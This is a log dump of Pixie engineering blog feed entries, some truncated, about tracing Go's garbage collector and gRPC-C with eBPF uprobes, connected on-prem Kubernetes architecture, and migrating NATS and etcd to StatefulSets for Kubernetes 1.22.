href=/go-garbage-collector/#a-few-things-before-diving-in>Background</a><ul><li><a href=/go-garbage-collector/#why-uprobes>Why uprobes?</a></li><li><a href=/go-garbage-collector/#the-phases-of-garbage-collection>The phases of garbage collection</a></li></ul></li><li><a href=/go-garbage-collector/#tracing-the-major-phases-of-garbage-collection>Tracing the garbage collector</a><ul><li><a href=/go-garbage-collector/#tracing-runtime.gc()>runtime.GC</a></li><li><a href=/go-garbage-collector/#mark-and-sweep-assists>Mark and sweep phases</a></li><li><a href=/go-garbage-collector/#tracing-stop-the-world-events>Stop The World events</a></li></ul></li><li><a href=/go-garbage-collector/#how-does-the-garbage-collector-pace-itself>How does the garbage collector pace itself?</a><ul><li><a href=/go-garbage-collector/#trigger-ratio>Trigger ratio</a></li><li><a href=/go-garbage-collector/#mark-and-sweep-assists>Mark and sweep assists</a></li></ul></li></ul><h2>A few things before diving in</h2><p>Before diving in, let's get some quick context on uprobes, the garbage collector's design, and the demo application we'll be using.</p><h3>Why uprobes?</h3><p><a href=https://jvns.ca/blog/2017/07/05/linux-tracing-systems/#uprobes>uprobes</a> are cool because they let us dynamically collect new information without modifying our code. This is useful when you can’t or don’t want to redeploy your app - maybe because it’s in production, or the interesting behavior is hard to reproduce.</p><p>Function arguments, return values, latency, and timestamps can all be collected via uprobes. In this post, I'll deploy uprobes onto key functions from the Go garbage collector. This will allow me to see how it behaves in practice in my running application.</p><div class=image-xl><svg title=uprobes can trace latency, timestamp, arguments, and return values of functions. src=uprobes.png></svg></div><p>Note: this post uses Go 1.16. I will trace private functions in the Go runtime. However, these functions are subject to change in later releases of Go.</p><h3>The phases of garbage collection</h3><p>Go uses a <strong>concurrent mark and sweep garbage collector</strong>. For those unfamiliar with the terms, here is a quick summary so you can understand the rest of the post. You can find more detailed information <a href=https://agrim123.github.io/posts/go-garbage-collector.html>here</a>, <a href=https://en.wikipedia.org/wiki/Tracing_garbage_collection>here</a>, <a href=https://go.dev/blog/ismmkeynote>here</a>, and <a href=https://www.iecc.com/gclist/GC-algorithms.html>here</a>.</p><p>Go&#x27;s garbage collector is called <em>concurrent</em> because it can safely run in parallel with the main program. In other words, it doesn’t need* to halt the execution of your program to do its job. (*more on this later).</p><p>There are two major phases of garbage collection:</p><p><strong>Mark phase</strong>: <em>Identify and mark the objects that are no longer needed by the program.</em></p><p><strong>Sweep phase</strong>: <em>For every object marked “unreachable” by the mark phase, free up the memory to be used elsewhere.</em></p><div class=image-xl><svg title=A node coloring algorithm. Black objects are still in use. White objects are ready to be cleaned up. Gray objects still need to be categorized as either black or white. src=gcphases.png></svg></div><h3>A simple demo application</h3><p>Here is a simple endpoint that I’ll use in order to trigger the garbage collector. It creates a variably-sized string array. Then it invokes the garbage collector via <code>runtime.GC()</code>.</p><p>Usually, you don't need to call the garbage collector manually, because Go handles that for you. However, this guarantees it kicks in after every API call.</p><pre><code class=language-go> http.HandleFunc("/allocate-memory-and-run-gc", func(w http.ResponseWriter, r *http.Request) {\n' +

6:35:43 AM: ' arrayLength, bytesPerElement := parseArrayArgs(r)\n' +

6:35:43 AM: ' arr := generateRandomStringArray(arrayLength, bytesPerElement)\n' +

6:35:43 AM: ' fmt.Fprintf(w, fmt.Sprintf("Generated string array with %d bytes of data\\n", len(arr) * len(arr[0])))\n' +

6:35:43 AM: ' runtime.GC()\n' +

6:35:43 AM: ' fmt.Fprintf(w, "Ran garbage collector\\n")\n' +

6:35:43 AM: ' })\n' +

6:35:43 AM: '</code></pre><h2>Tracing the major phases of garbage collection</h2><p>Now that we have some context on uprobes and the basics of Go's garbage collector, let's dive in to observing its behavior.</p><h3>Tracing runtime.GC()</h3><p>First, I decided to add uprobes to following functions in Go's <code>runtime</code> library.</p><table><thead><tr><th align=left>Function</th><th align=left>Description</th></tr></thead><tbody><tr><td align=left><a href=https://github.com/golang/go/blob/go1.16/src/runtime/mgc.go#L1126>GC</a></td><td align=left>Invokes the GC</td></tr><tr><td align=left><a href=https://github.com/golang/go/blob/go1.16/src/runtime/mgc.go#L1201>gcWaitOnMark</a></td><td align=left>Waits for the mark phase to complete</td></tr><tr><td align=left><a href=https://github.com/golang/go/blob/go1.16/src/runtime/mgc.go#L2170>gcSweep</a></td><td align=left>Performs the sweep phase</td></tr></tbody></table><p>(If you’re interested in seeing how the uprobes were generated, here's the <a href=https://github.com/pixie-io/pixie-demos/tree/main/go-garbage-collector>code</a>.)</p><p>After deploying the uprobes, I hit the endpoint and generated an array containing 10 strings that are each 20 bytes.</p><pre><code class=language-bash>$ curl '127.0.0.1/allocate-memory-and-run-gc?arrayLength=10&bytesPerElement=20'\n' +

6:35:43 AM: 'Generated string array with 200 bytes of data\n' +

6:35:43 AM: 'Ran garbage collector\n' +

6:35:43 AM: '</code></pre><p>The deployed uprobes observed the following events after that curl call:</p><div class=image-xl><svg title=Events were collected for GC, gcWaitOnMark, and gcSweep after running the garbage collector src=gcevents.png></svg></div><p>This makes sense from the <a href=https://github.com/golang/go/blob/go1.16/src/runtime/mgc.go#L1126>source code</a> - <code>gcWaitOnMark</code> is called twice, once as a validation for the prior cycle before starting the next cycle. The mark phase triggers the sweep phase.</p><p>Next, I took some measurements for <code>runtime.GC</code> latency after hitting the <code>/allocate-memory-and-run-gc</code> endpoint with a variety of inputs.</p><table><thead><tr><th align=left>arrayLength</th><th align=left>bytesPerElement</th><th align=left>Approximate size (B)</th><th align=left>GC latency (ms)</th><th align=left>GC throughput (MB/s)</th></tr></thead><tbody><tr><td align=left>100</td><td align=left>1,000</td><td align=left>100,000</td><td align=left>3.2</td><td align=left>31</td></tr><tr><td align=left>1,000</td><td align=left>1,000</td><td align=left>1,000,000</td><td align=left>8.5</td><td align=left>118</td></tr><tr><td align=left>10,000</td><td align=left>1,000</td><td align=left>10,000,000</td><td align=left>53.7</td><td align=left>186</td></tr><tr><td align=left>100</td><td align=left>10,000</td><td align=left>1,000,000</td><td align=left>3.2</td><td align=left>313</td></tr><tr><td align=left>1,000</td><td align=left>10,000</td><td align=left>10,000,000</td><td align=left>12.4</td><td align=left>807</td></tr><tr><td align=left>10,000</td><td align=left>10,000</td><td align=left>100,000,000</td><td align=left>96.2</td><td align=left>1,039</td></tr></tbody></table><h3>Tracing the mark and sweep phases</h3><p>While that was a good high level view, we could use more detail. Next, I probed some helper functions for memory allocation, marking, and sweeping to get the next level of information.</p><p>These helper functions have arguments or return values that will help us better visualize what is happening (e.g. pages of memory allocated).</p><table><thead><tr><th align=left>Function</th><th align=left>Description</th><th align=left>Info captured</th></tr></thead><tbody><tr><td align=left><a href=https://github.com/golang/go/blob/go1.16/src/runtime/mheap.go#L1124>allocSpan</a></td><td align=left>Allocates new memory</td><td align=left>Pages of memory allocated</td></tr><tr><td align=left><a href=https://github.com/golang/go/blob/go1.16/src/runtime/mgcmark.go#L1095>gcDrainN</a></td><td align=left>Performs N units of marking work</td><td align=left>Units of marking work performed</td></tr><tr><td align=left><a href=https://github.com/golang/go/blob/go1.16/src/runtime/mgcsweep.go#L188>sweepone</a></td'... 10735 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Pushing the envelope: monitoring gRPC-C with eBPF',

6:35:43 AM: date: '2022-08-25',

6:35:43 AM: description: 'gRPC is quickly becoming the preferred tool for enabling quick, lightweight connections between microservices, but it also presents new…',

6:35:43 AM: url: 'https://blog.px.dev/grpc-c-tracing/',

6:35:43 AM: guid: 'https://blog.px.dev/grpc-c-tracing/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>gRPC is quickly becoming the preferred tool for enabling quick, lightweight connections between microservices, but it also presents new problems for observability. This is mainly because gRPC connections apply stateful compression, which makes monitoring them with sniffing tools an extremely challenging task. At least, this was traditionally the case. But thanks to <a href=http://ebpf.io>eBPF</a>, gRPC monitoring has become much easier.</p><p>We at <a href=http://www.groundcover.com>groundcover</a> were thrilled to have the opportunity to collaborate with the Pixie project to build a gRPC monitoring solution that uses eBPF to trace gRPC sessions that use the <a href=https://github.com/grpc/grpc>gRPC-C library</a> (which augments Pixie's existing eBPF-based gRPC monitoring for Golang applications).</p><p>In this blog post we will discuss what makes gRPC monitoring difficult, the challenges of constructing a user based eBPF solution, and how we integrated gRPC-C tracing within the existing Pixie framework.<sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup> <sup id=fnref-2><a href=#fn-2 class=footnote-ref>2</a></sup></p><div class=image-xl><figure><video controls= muted= playsinline= width=670><source src=/f294b23526aef061f25b35989678fe4e/grpc-c-demo.mp4 type=video/mp4/></video><figcaption>A quick demo of eBPF gRPC-C tracing. Bottom right: Pixie data collector logs showing uprobe attachment and traced gRPC-C data. Top right: sample gRPC-C server. Left: gRPC-C client periodically making requests to the server.</figcaption></figure></div><h2>The hassle of gRPC monitoring</h2><p><a href=https://grpc.io/>gRPC</a> is a remote procedure call framework that has become widely used in microservice environments, and works in virtually any type of environment, offering implementations in all of the popular languages - including but not limited to Python, C#, C++ and PHP. This means you can use gRPC to do <a href=https://www.xenonstack.com/insights/what-is-grpc>pretty much anything</a> involving distributed applications or services. Whether you want to power machine learning applications, manage cloud services, handle device-to-device communications or do anything in between, gRPC has you covered.</p><p>Another reason to love gRPC is that it's (typically) implemented over HTTP/2, so you get long-lived, reliable streams. Plus, the protocol headers are compressed using HPACK, which saves a ton of space by avoiding transmission of repetitive header information. Yet, despite all this, gRPC implements its own API layer, so developers don't actually have to worry about the HTTP/2 implementation. They enjoy the benefits of HTTP/2 without the headache.</p><p>All of that magic being said, efficiency comes with a price. HTTP/2’s HPACK header compression makes the problem of tracing connections through sniffers much more difficult. Unless you know the entire session context from when the connection was established, it is difficult to decode the header information from sniffed traffic (see <a href=/ebpf-http2-tracing/>this post</a> for more info and an example).</p><p>On its own, gRPC doesn’t provide tools to overcome this problem. Nor does it provide a way to collect incoming or outgoing data, or report stream control events, like the closing of a stream.</p><h2>eBPF to the rescue</h2><p>What we need is a super power - one that will enable us to grab what we need from the gRPC library itself, rather than trying to get it from the raw session.</p><p>This is exactly what eBPF enables. Introduced in 2014, <a href=https://www.groundcover.com/blog/what-is-ebpf>eBPF</a> enables observability of system functions in the Linux kernel, alongside powerful usermode monitoring capabilities - making it possible to extract runtime information from applications. Although eBPF is still maturing, it is rapidly becoming the go-to observability standard for Kubernetes and a variety of other distributed, microservices-based environments where traditional approaches to monitoring are too complicated, too resource-intensive or both.</p><p>Recognizing the power of eBPF as a gRPC monitoring solution, Pixie implemented an <a href=/ebpf-http2-tracing/>eBPF-based approach for monitoring gRPC sessions</a> involving golang applications. Inspired by the benefits of that work to the community, we at groundcover decided to expand the eBPF arsenal to support gRPC monitoring in even more frameworks and programming languages, by monitoring the gRPC-C library.</p><p>Before diving into gRPC-C specifics, the following diagram illustrates the general approach to tracing gRPC with eBPF:</p><div class=image-xl><svg title= src=grpc-ebpf-tracing.png></svg></div><p>Using a mixture of uprobes and kprobes (eBPF code which triggers on user functions and kernel functions, respectively), we are able to collect all of the necessary runtime data to fully monitor gRPC traffic.</p><p>While the kprobes are agnostic to the gRPC library used (e.g Go-gRPC, gRPC-C), the uprobes are tailored to work with the specific implementations. The rest of the blog post will describe the gRPC-C specific solution.</p><h2>Tracing gRPC-C</h2><p>Among the different implementations of gRPC, <a href=https://github.com/grpc/grpc>gRPC-C</a> stands out as one of the more common variations, as it is used by default in many popular coding languages - Python, C, C# and more.</p><p>Our mission was to achieve complete gRPC observability - meaning the ability to observe both unary and streaming RPCs - for environments which use the gRPC-C library. We did so by tracing all of the following:</p><ol><li><a href=#incoming-and-outgoing-data>Incoming and outgoing data</a></li><li><a href=#headers-(initial-and-trailing)>Plaintext headers (both initial and trailing)</a></li><li><a href=#stream-control-events>Stream control events (specifically, closing of streams)</a></li></ol><h2>Planning the solution</h2><p>Before getting into the bits and bytes, it’s important to first describe the structure of the solution. Following the general uprobe tracing schema described in the diagram above, we implemented the following 3 parts:</p><ol><li>The eBPF programs that are attached to the gRPC-C usermode functions. Note that even though the functions belong to userland, the code runs in a kernel context</li><li>The logic to parse the events that are sent from the eBPF programs to the usermode agent</li><li>The logic to find instances of the gRPC-C library, identify their versions and attach to them correctly</li></ol><p>To help ensure that everything integrates nicely with the existing framework, we made sure our gRPC-C parsers produce results in a format that the existing Pixie Go-gRPC parsers expect. The result is a seamless gRPC observability experience, no matter which framework it came from.</p><h2>The nitty and gritty</h2><p>In this part we will elaborate on how we approached each of the tasks described above.<sup id=fnref-3><a href=#fn-3 class=footnote-ref>3</a></sup></p><h3>Incoming and outgoing data</h3><p><strong>Tracing incoming data</strong> turned out to be a relatively straightforward task. We simply probed the <code>grpc_chttp2_header_parser_parse</code> function. This is one of the core functions in the ingress flow, and it has the following signature:</p><pre><code class=language-cpp>grpc_error* grpc_chttp2_data_parser_parse(void* /*parser*/,\n' +
' grpc_chttp2_transport* t,\n' +

6:35:43 AM: ' grpc_chttp2_stream* s,\n' +

6:35:43 AM: ' const grpc_slice& slice,\n' +

6:35:43 AM: ' int is_last)\n' +

6:35:43 AM: '</code></pre><p>The key parameters to note are <code>grpc_chttp2_stream</code> and <code>grpc_slice</code>, which contain the associated stream and the freshly received data buffer (=slice), respectively. The stream object will matter to us when we get to retrieving headers a bit later, but for now, the slice object contains the raw data we are interested in.</p><p><strong>Tracing outgoing data</strong> proved to be a bit harder. Most of the functions in the egress flow are inlined, so finding a good probing spot turned out to be challenging.<sup id=fnref-4><a href=#fn-4 class=footnote-ref>4</a></sup></p><div class=image-xl><svg title=Central functions of the egress flow. All of the Flush_x functions are inlined in the compiled binary. src=tracing-outgoing-data.png></svg></div><p>To solve the challenge, we ended up choosing the <code>grpc_chttp2_list_pop_writable_stream</code> function, which is called just before the Flush_x functions are called. The function iterates over a list of gRPC Stream objects that have data ready for sending, and it returns the first one available. By hooking the return value of the function, we get the Stream object just before the data is encoded in the Flush_x functions - exactly what we are looking for!</p><pre><code class=language-cpp>/* for each grpc_chttp2_stream that's become writable, frame it's data\n' +

6:35:43 AM: ' (according to available window sizes) and add to the output buffer */\n' +

6:35:43 AM: ' while (grpc_chttp2_stream* s = ctx.NextStream()) {\n' +

6:35:43 AM: ' StreamWriteContext stream_ctx(&ctx, s);\n' +

6:35:43 AM: ' size_t orig_len = t->outbuf.length;\n' +

6:35:43 AM: ' stream_ctx.FlushInitialMetadata();\n' +

6:35:43 AM: ' stream_ctx.FlushWindowUpdates();\n' +

6:35:43 AM: ' stream_ctx.FlushData();\n' +

6:35:43 AM: ' stream_ctx.'... 9809 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Building Kubernetes Native SaaS applications: iterating quickly by deploying in-cluster data planes',

6:35:43 AM: date: '2020-10-15',

6:35:43 AM: description: 'At Pixie, we are working on a Kubernetes native monitoring system which stores and processes the resulting data entirely within a user’s…',

6:35:43 AM: url: 'https://blog.px.dev/hybrid-architecture/',

6:35:43 AM: guid: 'https://blog.px.dev/hybrid-architecture/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>At Pixie, we are working on a Kubernetes native monitoring system which stores and processes the resulting data entirely within a user’s cluster. This is the first in a series of posts discussing techniques and best practices for effectively building Kubernetes native applications. In this post, we explore the trade-offs between using an air-gapped deployment that lives completely within a cluster and a system which splits the control and data planes between the cloud and cluster, respectively.</p><h1>Introduction</h1><p>One benefit of building for the Kubernetes platform is that it simplifies the process of deploying applications to a user’s environment, often requiring only a few simple steps such as applying a set of YAMLs or installing a Helm Chart. Within minutes, users can easily have a running version of the application on their cluster. However, now that these applications are running entirely on prem, it becomes difficult for the developer to manage. In many cases, rolling out major updates or bug fixes relies on having the user manually update their deployment. This is unreliable for the developer and burdensome for the user.</p><div class=image-m><svg title=Diagram of a connected on-prem architecture. src=connected-on-prem.svg></svg></div><p>To address this problem, we propose a connected on-prem architecture which delegates the responsibility of managing the data and control planes of the application to the deployment running in the cluster and a developer-managed cloud environment, respectively. More concretely, the application deployed in the user’s cluster is solely responsible for collecting data and making that data accessible. Once the foundation of this data layer is established, the logic remains mostly stable and is infrequently updated. Meanwhile, a cloud-hosted system manages the core functionality and orchestration of the application. As the cloud is managed by the developer themselves, they are freely able to perform updates without any dependency on the users. This allows the developer to iterate quickly on the functionality of their system, all while maintaining data locality on prem.</p><p>This split-responsibility architecture is common in many hardware products, since external factors may make it challenging to deploy updates to software running on physical devices. For instance, despite these physical limitations, <a href=https://www.ui.com/>Ubiqiti</a>’s UI is able to offer a rich feature-set by delegating functionality to their cloud and keeping their physical routers within the data plane. Similarly, <a href=https://webrtc.org/>WebRTC</a> is a standard built into most modern browsers for handling voice and video data. Although browser updates are infrequent, having the separated data and control layers allows developers to freely build a diverse set of applications on top of WebRTC. This architecture is still relatively uncommon in enterprise software, but has been adopted by popular products such as <a href=https://harness.io/wp-content/uploads/2018/03/arch_2.png>Harness</a>, <a href=https://streamsets.com/>Streamsets</a>, and <a href=https://cloud.google.com/anthos>Anthos</a>.</p><p>However, designing a connected on-prem architecture is easier said than done. When building such a system, one challenge you may encounter is how to query data from an application running on the user’s cluster via a UI hosted in the cloud. We explore two approaches for doing so:</p><ol><li>Making requests directly to the application in the cluster</li><li>Proxying requests through the cloud</li></ol><p>For brevity, we will refer to the application running on the user’s cluster as a satellite.</p><h2>Approach 1: Making Requests Directly to the Application in the Cluster</h2><p>The simplest approach for executing the query on a satellite is to have the UI make the request directly to the satellite itself. To do this, the UI must be able to get the (1) status and (2) address of the satellite from the cloud, so that it knows whether the satellite is available for querying and where it should make requests to.</p><div class=image-m><svg title=Diagram of Non-Passthrough Mode where the UI makes requests directly to the satellite agent itself. src=non-passthrough.svg></svg></div><h3>Step 1: Heartbeating</h3><p>A common technique to track the status of a program is to establish a heartbeat sequence between the program (the satellite) and the monitoring system (the cloud). This is typically done by having the satellite first send a registration message to the cloud. During registration, the satellite either provides an identifier or is assigned an identifier via the cloud, which is used to identify the satellite in subsequent heartbeat messages.</p><p>Following registration, the satellite begins sending periodic heartbeats to the cloud to indicate it is alive and healthy. Additional information can be sent in these heartbeats. In our case, we also attach the satellite’s IP address. Alternatively, the IP address could have been sent during registration, if it is not subject to change. The cloud records the satellite’s status and address so that it can be queried by the UI.</p><p>Now, when the UI wants to make a request to a satellite, it first queries the cloud for the address, then directly makes the request to that address.</p><p>Great! That wasn’t too bad. In many cases, many cloud/distributed satellite architectures already communicate via heartbeats to track satellite state, so sending an additional address is no problem. However... If your UI is running on a browser and your satellite is responding over HTTPS (likely with self-signed certs), you are not done yet...</p><div class=image-l><svg src=cert-authority-invalid-1.png></svg></div><h3>Step 2: Assigning Satellites a Domain Name</h3><p>The browser is blocking our requests because of the satellite’s SSL certs! A user could go ahead and navigate directly to the satellite’s address, where the browser prompts the user with whether or not they want to bypass the invalid cert.</p><div class=image-m><svg src=cert-authority-invalid-2.png></svg></div><p>However, this would need to be done per satellite and is disruptive to the user’s overall experience. It is possible to generate SSL certs for IP addresses, but this is uncommon and isn’t available with most free Certificate Authorities. This approach is also complicated if the satellite’s IP address is subject to change.</p><div class=image-xl><svg title=Diagram of SSL certification flow for Non-Passthrough Mode. src=SSL-cert-flow.svg></svg></div><p>To solve this problem, we used the following solution:</p><ol><li>Pre-generate SSL certs under a subdomain that you control, for instance: <code><uuid>.satellites.yourdomain.com</code>. This step is easy to do with any free Certificate Authority <em>and can be safely done if the subdomain has a well-known DNS address</em>. You should make sure to generate more SSL certs than the number of expected satellites.</li><li>When an satellite registers with the cloud, it should be assigned an unused SSL cert and associated subdomain. The SSL cert should be securely sent to the satellite and the satellite’s proxy should be updated to use the new cert.</li><li>When the cloud receives the satellite’s IP address from its heartbeats, it updates the DNS record for the satellite’s subdomain to point to the IP address.</li><li>When executing queries, the UI can now safely make requests to the satellite’s assigned subdomain rather than directly to its IP address, all with valid certs!</li></ol><p>In the end, making requests directly to the satellites turned out to be more complicated (and hacky) than we’d originally thought. The solution also doesn’t scale well, since the SSL certs need to be pre-generated. Without having a fixed number of satellites, or an upperbound on the number of satellites, it isn’t long before all the certs have been assigned and someone needs to step in and manually generate more. It is possible to generate the certs and their DNS records on the fly, but we’ve found these operations can take too long to propagate to all networks. <em>It is also important to note that this approach may violate the terms of service for automated SSL generation and is susceptible to usual security risks of wildcard certificates.</em></p><p>When a satellite is behind a firewall, it will only be queryable by users within the network. This further ensures that no sensitive data leaves the network.</p><h2>Approach 2: Proxying Queries through the Server</h2><div class=image-m><svg title=Diagram of Passthrough Mode where UI requests are proxied through the cloud. src=passthrough-general.svg></svg></div><p>As seen in the previous approach, it is easiest to have the UI make requests to the cloud to avoid any certificate errors. However, we still want the actual query execution to be handled by the satellites themselves. To solve this, we architected another approach which follows these general steps:</p><ol><li>User initiates query via the UI.</li><li>The cloud forwards the query to the appropriate satellite.</li><li>Satellite send its responses back to the cloud.</li><li>Cloud forwards responses back to the UI.</li></ol><p>The cloud must be able to handle multiple queries to many different satellites at once. A satellite will stream batches of data in response, which the server ne'... 7240 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Unexpected Challenges Supporting Kubernetes 1.22 in Pixie',

6:35:43 AM: date: '2021-10-05',

6:35:43 AM: description: 'Last year, Kubernetes updated its feature lifecycle policy to prevent the existence of “permanent beta” APIs. The new policy gives beta…',

6:35:43 AM: url: 'https://blog.px.dev/k8s-122-challenge/',

6:35:43 AM: guid: 'https://blog.px.dev/k8s-122-challenge/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>Last year, Kubernetes <a href=https://kubernetes.io/blog/2020/08/21/moving-forward-from-beta/#avoiding-permanent-beta>updated its feature lifecycle policy</a> to prevent the existence of “permanent beta” APIs. The new policy gives beta REST APIs three releases to either reach GA (and deprecate the beta) or create a new beta version (and deprecate the previous beta). Kubernetes 1.22 is the first release to remove <a href=https://kubernetes.io/docs/reference/using-api/deprecation-guide/#v1-22>deprecated beta APIs</a> since the policy was adopted.</p><p>While testing Pixie on Kubernetes 1.22, we discovered that the removal of <code>CustomResourceDefinition</code> from <code>apiextensions.k8s.io/v1beta1</code> broke the <code>nats-operator</code> and <code>etcd-operator</code>. In this post, we share how we adapted our <a href=https://github.com/nats-io/nats-server>NATS</a> and <a href=https://github.com/etcd-io/etcd>etcd</a> deployments to be compatible with Kubernetes 1.22 and the challenges we faced while updating active Pixie deployments to the new architecture.</p><h2>The Problem: Deprecated Third-Party Operators</h2><p>Pixie's <a href=https://blog.px.dev/hybrid-architecture/>on-prem data collector</a>, Vizier, relies on NATS and etcd. We opted to use the <code>nats-operator</code> and <code>etcd-operator</code> when we added these dependencies. These operators expose a simple interface via a <code>CustomResourceDefinition</code> (CRD) and translate requested resources into the necessary set of configurations, deployments, and services - simplifying the deployment.</p><p>Unfortunately, both operators chose to define their CRD inside of their code (rather than as a separate yaml) and the latest releases<sup id=fnref-1><a href=#fn-1 class=footnote-ref>1</a></sup> still used the beta version of the API. That meant our Kubernetes 1.22 cluster rejected CRD creation requests from these operators because those APIs no longer existed. Since <a href=https://github.com/nats-io/nats-operator#nats-operator>NATS no longer recommends using nats-operator</a> and coreos <a href=https://github.com/coreos/etcd-operator/pull/2169>archived etcd-operator</a>, we needed a new deployment model.</p><h2>The Solution: StatefulSets</h2><p>We decided to switch away from CustomResources over to StatefulSet equivalents (<a href=https://github.com/pixie-io/pixie/commit/305726d4bbb4c1587a323d20361525bb0ee8c0cd>etcd</a>, <a href=https://github.com/pixie-io/pixie/commit/35d3aec70a1d85e06703b7a044057787d82c0e64>nats</a>). Forking the operator code bases was an option, but we did not need all of the features provided by the operators nor did we want to maintain a forked project. The main operator feature that we needed was dynamic configuration; the operator deployments knew the name of the pods in their configuration before the pods were deployed. We replicated this with StatefulSets (which gave us predictable naming) combined with <a href=https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/#using-environment-variables-inside-of-your-config>environment variable substitution</a>.</p><h2>Another Challenge: Updating Active Deployments</h2><p>Although updating to StatefulSet NATS/etcd deployments is only necessary for Kubernetes 1.22+, we wanted to reduce our operational burden by updating all running Viziers.\n' +

6:35:43 AM: 'We encountered two issues:</p><ol><li>We did not have a path to update our dependencies (etcd/NATS).</li><li>We had trouble including the recommended clients for the etcd and NATS custom resources.</li></ol><h3>Updating the dependencies</h3><p>Pixie’s Vizier is deployed and updated using the Kubernetes <a href=https://kubernetes.io/docs/concepts/extend-kubernetes/operator/>operator pattern</a>. The Vizier operator already had an update path for our core product, but lacked the equivalent for our dependencies. We originally delayed building the update path for the dependencies because we didn’t want to interrupt connected Viziers for longer than necessary and our deps rarely changed. This would also be the first update with destructive changes: we would need to get rid of the actively running etcd and NATS instances.</p><p>We decided to special case this in the Vizier operator code. Whenever we detect the etcd-cluster and nats-cluster CustomResources in the Vizier namespace, we remove the resources and deploy the new StatefulSet versions. We didn’t create an update path for dependencies, but given the destructive changes were a special case, we decided to delay building out a whole update path.</p><h3>Including the etcd and NATS clients</h3><p>We wanted to use the etcd-cluster and nats-cluster clients to detect old NATS and etcd dependencies. We hit a <a href=https://github.com/coreos/etcd-operator/issues/2167>strange compilation error</a> while attempting to include the clients. It turns out that our packaged version of client-go is incompatible with the packaged version in the clients. The client-go developers introduced a <a href=https://github.com/kubernetes/client-go/commit/ae9f6b2601c8f8b97ad2865943f423d65539ffdb>breaking interface change</a> and Go’s dependency management disallows <a href=https://research.swtch.com/vgo-import#dependency_story>two different incompatible versions</a> with the same import path.</p><p>Fortunately, we had recently used <code>client-gen</code> <a href=https://github.com/pixie-io/pixie/commit/3950a03d723029b4280e5267f0c2c9c78f2dd7c8>to generate client code for Vizier CustomResources</a>. We decided to do the same with nats-cluster and etcd-cluster, <a href=https://github.com/pixie-io/pixie/commit/c5079278c55c70451a59d9fc315b56d311aa2e54>vendoring the clients into our operator code</a>. Once you have a hammer, everything starts to look like a nail.</p><p>Now during our updates, the Vizier operator simply uses the vendored clients to check for etcd-cluster or nats-cluster resources deployed by old versions of Vizier and replaces them with the new StatefulSet versions if they happen to exist. Future Viziers will only deploy with the StatefulSet Versions.</p><h2>Conclusion</h2><p>The removal of the beta CRD API from Kubernetes 1.22 posed a unique challenge for our team. Switching to StatefulSet NATS and etcd removed the deprecated third-party operator dependencies. Updating all of our running instances allowed us to avoid bifurcating our deployments.</p><p>If you’re looking to use StatefulSet NATS and etcd, check out our <a href=https://github.com/pixie-io/pixie/tree/main/k8s/vizier_deps/base/nats>NATS</a> and <a href=https://github.com/pixie-io/pixie/tree/main/k8s/vizier_deps/base/etcd>etcd</a> yamls as references. You should also check our <a href=https://blog.px.dev/etcd-6-tips/>blog on how etcd works </a>and <a href=https://blog.px.dev/hybrid-architecture/#choosing-a-message-bus>why we chose NATS as our message bus</a>.</p><p>Let us know if you found this type of post interesting! We’re trying to not only open-source our codebase, but also openly discuss the challenges we’ve faced and lessons that we’ve learned along the way.</p><p><em>Find us on <a href=https://slackin.px.dev/>Slack</a>, <a href=https://github.com/pixie-io/pixie>GitHub</a>, or Twitter at <a href=https://twitter.com/pixie_run>@pixie_run</a>.</em></p><h2>Footnotes</h2><div class=footnotes><hr/><ol><li id=fn-1>The <code>nats-operator</code> code for managing CRDs has since<a href=https://github.com/nats-io/nats-operator/pull/333> been updated to the GA API </a>, but they have not released a new version.<a href=#fnref-1 class=footnote-backref>↩</a></li></ol></div>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'How Kubernetes Made On-Prem Cool Again',

6:35:43 AM: date: '2021-02-24',

6:35:43 AM: description: 'In this post, we will discuss the following: The historical advantages and disadvantages to on-prem software deployments. The ways…',

6:35:43 AM: url: 'https://blog.px.dev/k8s-on-prem/',

6:35:43 AM: guid: 'https://blog.px.dev/k8s-on-prem/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

